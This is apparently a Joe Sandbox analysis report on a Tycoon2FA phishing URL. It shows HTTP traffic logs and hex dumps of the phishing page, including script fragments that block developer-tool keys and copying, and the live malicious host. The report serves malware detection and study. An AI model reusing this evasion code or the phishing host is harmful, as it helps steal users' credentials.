2025-03-20 15:55:33 UTC	318	IN	Data Raw: 31 33 37 0d 0a 7b 22 61 22 3a 22 6e 6b 37 58 69 6a 47 56 70 61 32 42 64 5c 2f 78 66 2b 6c 73 6f 61 7a 78 4c 79 77 7a 78 65 6c 33 70 38 55 79 50 74 38 6a 55 55 57 5a 67 7a 72 6a 31 7a 45 69 50 75 65 75 4f 37 68 38 70 38 41 50 4f 56 4a 77 4e 4b 39 49 43 6c 49 57 59 36 4b 75 53 6c 72 76 43 63 4b 54 6b 6d 43 57 66 43 4c 50 47 75 36 39 5a 68 37 63 63 62 54 34 64 35 35 53 35 51 42 48 49 5a 4e 2b 4d 64 45 71 46 6e 61 48 51 56 57 5c 2f 59 78 36 77 43 31 5a 2b 36 6b 56 50 4c 2b 57 78 61 50 51 3d 3d 22 2c 22 62 22 3a 22 64 63 65 65 31 33 34 64 35 37 35 31 63 61 65 65 65 38 62 31 63 34 65 37 38 66 31 32 65 66 39 61 22 2c 22 63 22 3a 22 30 37 38 65 35 64 38 36 39 30 31 31 30 30 38 30 34 63 30 61 62 32 63 32 64 61 39 62 36 31 35 33 22 2c 22 64 22 3a 22 36 31 33 36 33 Data Ascii: 137{"a":"nk7XijGVpa2Bd\/xf+lsoazxLywzxel3p8UyPt8jUUWZgzrj1zEiPueuO7h8p8APOVJwNK9IClIWY6KuSlrvCcKTkmCWfCLPGu69Zh7ccbT4d55S5QBHIZN+MdEqFnaHQVW\/Yx6wC1Z+6kVPL+WxaPQ==","b":"dcee134d5751caeee8b1c4e78f12ef9a","c":"078e5d86901100804c0ab2c2da9b6153","d":"61363
2025-03-20 15:55:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:33 UTC	1322	OUT	GET /favicon.ico HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://b3rz.5m54lq.ru/A9y-e3M/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJ0R3QrcGhSeXRsS052NDJ1Tm84ekE9PSIsInZhbHVlIjoiTy9mOUxVZm1PV1pqcW9NajAzbHNMM1R4RXp0RUR3azNKbEZJQks3b2ZBVWcrU3RubXdDRXdUSk9iTUs0anl2Sit4a2wzSVpMN2U4bXdPNkhSdlZ0ZEw5amoxTVE2eUNCOXhSR3pXYW9abHdKSnFaSGdVdkxxRzJMU0taQzkrd04iLCJtYWMiOiIxNTVjMDY1ODUzOTg5NGViNDQwNjQzZGI2M2Y1MGY0ZDQ3MGNkMTgxNmYyMGY5MWM0YmVmMjg4NGViZmFhNTMxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImEycDllYjF3WDhxdjlNV0R0WGJ3WFE9PSIsInZhbHVlIjoieTdFK0Vud0FpQ0xYWThick9SVmt0VEtwR0VDYjJnSlV2b3A4MzhhME9tVDBjajQ0aDNqY2YwbjBPajBkWkFVaFM3Y1RNSHFQeXlBVVlKMlJEdHlFZlhSNDEyNDhSbWpva1VjK0kyTEZ6dVR6b3VhWUxnMXhXOWVIMk5SYjJjcEUiLCJtYWMiOiI0M2IxMTE4YWNlMDFlNzYwYjQyMzFjZWE3OWZiZTdmNTA4YWYxYjQ3M2VhN2JlNmJiZjA0Y2E1YTllNzdjZWFjIiwidGFnIjoiIn0%3D
2025-03-20 15:55:34 UTC	1061	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 15:55:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CasHUhVDHyPypvd%2B0rSVma6FTaja4xUptPQhl9m%2BXOblHRdFuRJl7rdOiI5jyCGCMi3HsoV0yHObJ5%2FvgILQp8od4Zm5L91eWZFNB2uQE79cu1TsNdOYD5nMK7SeUrrzVrul"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=4596&min_rtt=4565&rtt_var=1775&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2228&delivery_rate=600829&cwnd=251&unsent_bytes=0&cid=44b0092441b28ecf&ts=123&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Server: cloudflare CF-RAY: 92366500a927434f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104079&min_rtt=102379&rtt_var=23099&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1894&delivery_rate=36233&cwnd=226&unsent_bytes=0&cid=ae84e7aab2756117&ts=530&x=0"
2025-03-20 15:55:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:34 UTC	1140	OUT	GET /xy8sEcUtK4pgBbthxRMPpKtkyoIMdeQlyILI7gy HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkpvN3JxbXlaMzNrTHhHdmtreFlZS1E9PSIsInZhbHVlIjoibWd4ZjFUM3NLU2djQUtjTzlHeStXRmliQzVta3ZWVUVOdjkvWXpIR0tQcWtDeGpTblIrRG56ZlJlbnROd1l0Znp0Zlp2RVkxK1ErZkt5K1hGckJ2SW55UXMxVURHZklkNloxN0NMaW8yeXY1b3M2MXNCRFYweW1sUFIrRnp0UHYiLCJtYWMiOiJkNGQ2M2E4NzU1MDhlZjBlMThlMjUzZTNkZWMzYzlhY2RkMWViZjRiMWRhMmQyMDgxZTQ0MjIyODI4Y2UzZTdkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImxHMTNQcExEMlNlMitXTFFkQ01Bd0E9PSIsInZhbHVlIjoiT2Y4Y2ZRcFl6OU5HTlFUYURGTTdIMXBCMkd2d2JVK0ZoeVprT0d5NTRzbytWR0VnT1BaL2l5RXJlN21DTStNMFJGV0h5RE1UM0lSTVNYa1dIYzlqN1NIMW93UXJaYkhqck9KY0lJMXNsbTRiZnc2U0JrOFFtQlIwWUhKQUhiZ0EiLCJtYWMiOiIyOTkxYzM5MGU4Y2JlNDY1MDk2YzJmODg2YTQ0MDY2MDgwYjY5OTQwNGZhY2Q1NGQzMWQzNWY1YzgyZjFmOGY5IiwidGFnIjoiIn0%3D
2025-03-20 15:55:34 UTC	820	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 15:55:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wK%2Bdm5sASLJ7YuFZd6Oz7baYfWJSwn6hnfxt9QsygLcP0gq1eyiUFHOcg8L%2FKvD%2F%2FERhaB8OIsv8%2B34DLSJbCjrVF2Xr3VucC5zQhgxQDvIrwlWOCaURUhe56sRC95QuhbH3"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=1449&min_rtt=1353&rtt_var=438&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2047&delivery_rate=1960731&cwnd=245&unsent_bytes=0&cid=3693a705b10d4867&ts=118&x=0" CF-RAY: 92366503d9037274-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:55:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://b3rz.5m54lq.ru/A9y-e3M/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Windows Analysis Report
https://b3rz.5m54lq.ru/A9y-e3M/

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:34 UTC	1500	OUT	GET /UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://b3rz.5m54lq.ru/A9y-e3M/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkpvN3JxbXlaMzNrTHhHdmtreFlZS1E9PSIsInZhbHVlIjoibWd4ZjFUM3NLU2djQUtjTzlHeStXRmliQzVta3ZWVUVOdjkvWXpIR0tQcWtDeGpTblIrRG56ZlJlbnROd1l0Znp0Zlp2RVkxK1ErZkt5K1hGckJ2SW55UXMxVURHZklkNloxN0NMaW8yeXY1b3M2MXNCRFYweW1sUFIrRnp0UHYiLCJtYWMiOiJkNGQ2M2E4NzU1MDhlZjBlMThlMjUzZTNkZWMzYzlhY2RkMWViZjRiMWRhMmQyMDgxZTQ0MjIyODI4Y2UzZTdkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImxHMTNQcExEMlNlMitXTFFkQ01Bd0E9PSIsInZhbHVlIjoiT2Y4Y2ZRcFl6OU5HTlFUYURGTTdIMXBCMkd2d2JVK0ZoeVprT0d5NTRzbytWR0VnT1BaL2l5RXJlN21DTStNMFJGV0h5RE1UM0lSTVNYa1dIYzlqN1NIMW93UXJaYkhqck9KY0lJMXNsbTRiZnc2U0JrOFFtQlIwWUhKQUhiZ0EiLCJtYWMiOiIyOTkxYzM5MGU4Y2JlNDY1MDk2YzJmODg2YTQ0MDY2MDgwYjY5OTQwNGZhY2Q1NGQzMWQzNWY1YzgyZjFmOGY5IiwidGFnIjoiIn0%3D
2025-03-20 15:55:34 UTC	1210	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iisBo%2BABANtt6223xqglQCFFb8L8aKzAhinN9B2NifxIyKPgxnblUZ8gGw095CvdtpejaxaGzncWL6vVgQaUBJMsw02Ay4LcIJXSSiwVE%2BNY5SoWde1rfGm9pVotjS9HqosG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5006&min_rtt=4835&rtt_var=1472&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2408&delivery_rate=585286&cwnd=245&unsent_bytes=0&cid=ac06a6f5fb1d0880&ts=143&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 17:55:34 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 15:55:34 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 6c 6a 64 46 4e 6e 61 43 39 59 4d 58 6c 52 63 30 64 36 4d 56 56 6c 4d 46 64 54 62 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 6b 6c 68 61 31 4a 73 64 69 74 56 61 32 5a 55 5a 54 46 79 65 47 64 5a 4e 45 39 6c 4e 32 52 73 65 6d 56 52 4d 6e 6c 56 59 7a 6c 77 55 48 56 44 62 6a 64 70 61 44 56 56 4c 31 52 45 53 30 78 4f 4d 6c 6c 42 61 43 39 6c 56 33 63 35 5a 79 39 6e 62 46 4a 6f 59 31 4e 4e 4d 54 52 6d 61 31 67 32 55 48 63 31 4d 58 5a 78 5a 45 56 34 57 6a 45 33 61 45 78 72 54 79 39 47 56 6e 49 34 4f 54 51 76 57 56 52 31 4d 6d 6c 55 65 54 4e 56 61 6b 59 7a 4e 48 4a 30 4b 33 68 31 4e 6e 64 58 64 55 68 5a 5a 47 56 6d 61 33 41 34 4d 54 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQ
2025-03-20 15:55:34 UTC	1369	IN	Data Raw: 63 63 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: cc1<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-20 15:55:34 UTC	1369	IN	Data Raw: 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b Data Ascii: osition:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;back
2025-03-20 15:55:34 UTC	534	IN	Data Raw: 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 3b Data Ascii: animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px;
2025-03-20 15:55:34 UTC	1369	IN	Data Raw: 35 31 38 66 0d 0a 38 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 37 70 78 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 64 6f 77 2d 66 61 64 65 7b 30 25 2c 31 30 30 25 2c 32 31 2e 32 25 2c 38 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 7d 34 37 25 2c 37 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 63 61 6c 2d 62 6f 75 6e 63 65 7b 30 25 2c 31 30 30 25 2c 31 36 2e 35 25 2c 37 36 2e 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 29 29 20 73 63 61 6c 65 59 28 31 29 3b 7d 32 38 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 4f 76 65 72 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 29 Data Ascii: 518f86%{transform:translateY(7px);}}@keyframes shadow-fade{0%,100%,21.2%,80%{opacity:0;}47%,70%{opacity:1;}}@keyframes cal-bounce{0%,100%,16.5%,76.1%{transform:translateY(var(--calY)) scaleY(1);}28%{transform:translateY(var(--calYOverExt)) scaleY(1)
2025-03-20 15:55:34 UTC	1369	IN	Data Raw: 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 34 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 35 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 32 20 7d 2c 20 2f 2f 20 43 74 72 6c 20 2b 20 48 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6d 65 74 61 3a 20 74 72 75 65 2c 20 61 6c 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6d 65 74 61 3a Data Ascii: e, keyCode: 67 }, { ctrl: true, shift: true, keyCode: 74 }, { ctrl: true, shift: true, keyCode: 75 }, { ctrl: true, keyCode: 72 }, // Ctrl + H { meta: true, alt: true, keyCode: 73 }, { meta:
2025-03-20 15:55:34 UTC	1369	IN	Data Raw: 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 70 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 20 3d 3d 3d 20 27 49 4e 50 55 54 27 20 7c 7c 20 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 20 3d 3d 3d 20 27 54 45 58 54 41 52 45 41 27 20 7c 7c 20 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 69 73 43 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 Data Ascii: dEventListener('copy', function(event) { if (document.activeElement.tagName === 'INPUT' \|\| document.activeElement.tagName === 'TEXTAREA' \|\| document.activeElement.isContentEditable) { return; } event.preventDefa
2025-03-20 15:55:34 UTC	1369	IN	Data Raw: 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 39 39 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 70 61 74 68 20 64 3d 22 4d 33 34 2e 36 34 33 20 31 32 2e 30 37 35 6c 2d 2e 35 38 38 20 31 2e 36 34 37 68 2d 2e 30 33 34 63 2d 2e 31 30 35 2d 2e 33 38 37 2d 2e 32 38 2d 2e 39 33 34 2d 2e 35 35 36 2d 31 2e 36 33 6c 2d 33 2e 31 35 2d 37 2e 38 39 37 68 2d 33 2e 30 37 37 56 31 36 2e 37 35 68 32 2e 30 33 56 39 2e 30 33 32 63 30 2d 2e 34 37 36 2d 2e 30 31 2d 31 2e 30 35 32 2d 2e 30 33 2d 31 2e 37 31 31 2d 2e 30 31 2d 2e 33 33 33 2d 2e 30 34 39 2d 2e 36 2d 2e 30 35 38 2d 2e 38 30 34 68 2e 30 34 35 63 2e 31 30 33 2e 34 37 33 2e 32 31 2e 38 33 34 2e 32 38 37 Data Ascii: 999/xlink" height="22" width="99"><g fill="none" fill-rule="evenodd"><path d="M34.643 12.075l-.588 1.647h-.034c-.105-.387-.28-.934-.556-1.63l-3.15-7.897h-3.077V16.75h2.03V9.032c0-.476-.01-1.052-.03-1.711-.01-.333-.049-.6-.058-.804h.045c.103.473.21.834.287
2025-03-20 15:55:34 UTC	1369	IN	Data Raw: 37 32 33 2e 31 39 20 30 20 2e 34 30 34 2e 30 33 31 2e 36 33 36 2e 30 39 33 2e 32 33 2e 30 36 33 2e 33 39 36 2e 31 32 39 2e 34 39 33 2e 32 6c 2e 30 39 2e 30 36 34 56 37 2e 37 33 37 6c 2d 2e 30 33 34 2d 2e 30 31 34 63 2d 2e 31 39 37 2d 2e 30 38 33 2d 2e 34 37 37 2d 2e 31 32 36 2d 2e 38 33 2d 2e 31 32 36 4d 36 36 2e 38 38 35 20 31 34 2e 34 36 35 63 2d 2e 33 39 37 2e 34 39 39 2d 2e 39 39 36 2e 37 35 31 2d 31 2e 37 37 39 2e 37 35 31 2d 2e 37 37 37 20 30 2d 31 2e 33 39 2d 2e 32 35 36 2d 31 2e 38 32 33 2d 2e 37 36 36 2d 2e 34 33 35 2d 2e 35 31 2d 2e 36 35 35 2d 31 2e 32 33 38 2d 2e 36 35 35 2d 32 2e 31 36 33 20 30 2d 2e 39 35 34 2e 32 32 2d 31 2e 37 30 31 2e 36 35 35 2d 32 2e 32 32 2e 34 33 33 2d 2e 35 31 36 20 31 2e 30 34 2d 2e 37 37 38 20 31 2e 38 30 36 2d 2e Data Ascii: 723.19 0 .404.031.636.093.23.063.396.129.493.2l.09.064V7.737l-.034-.014c-.197-.083-.477-.126-.83-.126M66.885 14.465c-.397.499-.996.751-1.779.751-.777 0-1.39-.256-1.823-.766-.435-.51-.655-1.238-.655-2.163 0-.954.22-1.701.655-2.22.433-.516 1.04-.778 1.806-.
2025-03-20 15:55:34 UTC	1369	IN	Data Raw: 33 39 2d 2e 32 35 36 2d 31 2e 38 32 32 2d 2e 37 36 36 2d 2e 34 33 35 2d 2e 35 31 2d 2e 36 35 35 2d 31 2e 32 33 38 2d 2e 36 35 35 2d 32 2e 31 36 33 20 30 2d 2e 39 35 34 2e 32 32 2d 31 2e 37 30 31 2e 36 35 35 2d 32 2e 32 32 2e 34 33 32 2d 2e 35 31 36 20 31 2e 30 34 2d 2e 37 37 38 20 31 2e 38 30 36 2d 2e 37 37 38 2e 37 34 33 20 30 20 31 2e 33 33 35 2e 32 35 20 31 2e 37 35 38 2e 37 34 34 2e 34 32 36 2e 34 39 36 2e 36 34 32 20 31 2e 32 33 37 2e 36 34 32 20 32 2e 32 30 32 20 30 20 2e 39 37 37 2d 2e 32 30 34 20 31 2e 37 32 38 2d 2e 36 30 34 20 32 2e 32 33 4d 38 32 2e 33 38 20 37 2e 35 33 36 63 2d 31 2e 34 38 34 20 30 2d 32 2e 36 36 33 2e 34 33 35 2d 33 2e 35 30 33 20 31 2e 32 39 33 2d 2e 38 34 2e 38 35 37 2d 31 2e 32 36 36 20 32 2e 30 34 34 2d 31 2e 32 36 36 20 Data Ascii: 39-.256-1.822-.766-.435-.51-.655-1.238-.655-2.163 0-.954.22-1.701.655-2.22.432-.516 1.04-.778 1.806-.778.743 0 1.335.25 1.758.744.426.496.642 1.237.642 2.202 0 .977-.204 1.728-.604 2.23M82.38 7.536c-1.484 0-2.663.435-3.503 1.293-.84.857-1.266 2.044-1.266

Timestamp	Bytes transferred	Direction	Data
